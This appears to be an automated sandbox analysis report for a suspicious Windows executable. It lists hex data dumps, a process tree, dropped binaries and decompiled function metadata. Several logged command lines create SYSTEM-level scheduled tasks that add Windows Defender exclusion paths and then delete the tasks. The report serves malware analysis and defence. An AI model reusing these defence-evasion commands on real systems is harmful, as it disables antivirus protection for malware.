19 6d ec a5 b0 48 d3 fd e1 e0 bd 23 b5 6b 0c 08 e7 e0 e0 e0 08 f1 e0 e0 e0 bd 23 b5 6b 0c 59 2c ac e5 f0 08 30 89 e1 e0 fd 63 f5 2b 4c c8 2f d7 a0 b0 48 d1 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6c ec a5 b0 48 90 cb a1 60 Data Ascii: bjebp````]bp`At``_l+-D^__H\|\__+-D^__H]__+Tik",,,,,,kik#\__+#@%`+\HS>#d+\+Ed`5g```q```=5,epu<ac+LH#dc+LmH#k#kY,0c+L/H#dc+LlH`
2025-01-05 09:12:47 UTC	4096	IN	Data Raw: eb 25 d0 30 9f 75 4c 10 62 70 eb 2d f8 e9 2d e4 eb 35 d0 32 9f 75 84 12 62 70 eb 25 cc 30 5f b5 44 d2 a2 b0 2b ed 24 29 ed 18 4b a7 67 e5 18 a0 a0 a0 a0 23 dd 14 a0 d4 aa 2b f5 14 f2 5f f5 ec 92 e2 f0 6b a5 58 6b 05 bd 23 b5 6b 0c 61 0c 7c e5 e0 e0 88 df 68 e0 f0 88 50 3d e4 f0 1f b5 80 d0 a2 b0 03 54 ed a5 b0 67 a5 58 ed a5 b0 80 a0 a0 a0 67 a5 a0 ee a5 b0 a7 a0 a0 a0 67 a5 64 2e 65 70 60 60 60 60 a7 65 70 2e 65 70 b0 67 60 60 a7 65 6c 2e 65 70 61 60 60 60 a7 65 9c 2d a5 b0 a2 a0 a0 a0 c8 58 ed a5 b0 01 54 ed a5 b0 f0 5f b5 c4 d0 a2 b0 67 a5 ac ee a5 b0 a0 a0 a0 e0 88 14 e1 e0 e0 1f f5 2c 92 e2 f0 27 65 8c 1f 1f 1f 74 e0 e0 e0 6d 6d 8c 1f 1f 1f b1 1f f5 f8 d2 a2 b0 23 1d d0 5f 5f 5f a6 d3 96 67 a5 5c ed a5 b0 a4 a0 a0 a0 c8 58 ed a5 b0 2b b5 54 ed a5 70 Data Ascii: %0uLbp--52ubp%0_D+$)Kg#+_kXk#ka\|hP=TgXggd.ep````ep.epg``el.epa```e-XT_g,'etmm#___g\X+Tp

Target ID:	0
Start time:	04:10:37
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\2b687482300.6345827638.08.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\2b687482300.6345827638.08.exe"
Imagebase:	0x140000000
File size:	30'883'840 bytes
MD5 hash:	934C8C307939CD29F7D1D434F1AD09EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:11:39
Start date:	05/01/2025
Path:	C:\Users\user\Documents\EMp3o1.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\EMp3o1.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:12:01
Start date:	05/01/2025
Path:	C:\Users\user\Documents\EMp3o1.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\EMp3o1.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:12:12
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:12:12
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff602f00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:12:13
Start date:	05/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff602f00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:12:14
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:12:14
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:12:14
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:12:14
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:12:15
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:12:15
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:12:15
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:12:15
Start date:	05/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff602f00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6feb80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff7e3d40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:12:16
Start date:	05/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff602f00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:12:47
Start date:	05/01/2025
Path:	C:\Program Files (x86)\G5CQjd\G5CQjd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\G5CQjd\G5CQjd.exe"
Imagebase:	0x710000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	04:12:49
Start date:	05/01/2025
Path:	C:\Program Files (x86)\G5CQjd\G5CQjd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\G5CQjd\G5CQjd.exe"
Imagebase:	0x710000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:12:50
Start date:	05/01/2025
Path:	C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe"
Imagebase:	0x1f0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:12:51
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c echo.>c:\xxxx.ini
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:12:51
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:12:52
Start date:	05/01/2025
Path:	C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe"
Imagebase:	0x1f0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:13:01
Start date:	05/01/2025
Path:	C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe"
Imagebase:	0x1f0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:13:01
Start date:	05/01/2025
Path:	C:\Program Files (x86)\G5CQjd\G5CQjd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\G5CQjd\G5CQjd.exe"
Imagebase:	0x710000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32%
Total number of Nodes:	462
Total number of Limit Nodes:	7

Executed Functions

Function 0000000140006C95 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0000000140006FA2
@, xrefs: 0000000140006D6C

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction ID: b9b90cad4d4dbad5e60228b5b2812afcd9ff4e9267d7912497f5da913a33a31e
Opcode Fuzzy Hash: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction Fuzzy Hash: 0EE19876619B84CADBA1CB19E4807AAB7A1F3C8795F105116FB8E87B68DB7CC454CF00

Function 00000001400073E0 Relevance: 1.6, APIs: 1, Instructions: 121
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00000001400073E2

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction ID: 9a2124daaedac402c784edcfb7064d0c1467828d98a6eaf5875e1b487be58861
Opcode Fuzzy Hash: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction Fuzzy Hash: 2451A676619BC582DA71CB1AE4907EEA360F7C8B85F504026EB8E87B69DF3DC455CB00

Function 0000000140005DF3 Relevance: 54.3, APIs: 3, Strings: 28, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0000000140005F30
malloc.MSVCRT ref: 0000000140005FD3
ReadFile.KERNELBASE ref: 0000000140006016

Strings

m, xrefs: 0000000140005F5A
., xrefs: 0000000140005ED9
l, xrefs: 0000000140005F9B
t, xrefs: 0000000140005F73
M, xrefs: 0000000140005E99
o, xrefs: 0000000140005FA5
L, xrefs: 0000000140005EB9
c, xrefs: 0000000140005FAA
d, xrefs: 0000000140005F7D
., xrefs: 0000000140005F78
a, xrefs: 0000000140005F96
t, xrefs: 0000000140005ED1
l, xrefs: 0000000140005FA0
p, xrefs: 0000000140005EB1
m, xrefs: 0000000140005F91
a, xrefs: 0000000140005EE9
s, xrefs: 0000000140005EA1
s, xrefs: 0000000140005F5F
d, xrefs: 0000000140005EE1
M, xrefs: 0000000140005EA9
c, xrefs: 0000000140005F69
l, xrefs: 0000000140005F82
r, xrefs: 0000000140005F6E
l, xrefs: 0000000140005F87
s, xrefs: 0000000140005EC9
t, xrefs: 0000000140005EF1
v, xrefs: 0000000140005F64
i, xrefs: 0000000140005EC1

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: File$CreateReadmalloc
String ID: .$.$L$M$M$a$a$c$c$d$d$i$l$l$l$l$m$m$o$p$r$s$s$s$t$t$t$v
API String ID: 3950102678-3381721293
Opcode ID: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction ID: 29f707ba186f29322d2427d6251999ac740dd2877dad0e4ee3b4d54c0b8fffc7
Opcode Fuzzy Hash: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction Fuzzy Hash: 0241A03250C7C0C9E372C729E45879BBB91E3A6748F04405997C846B9ACBBED158CB22

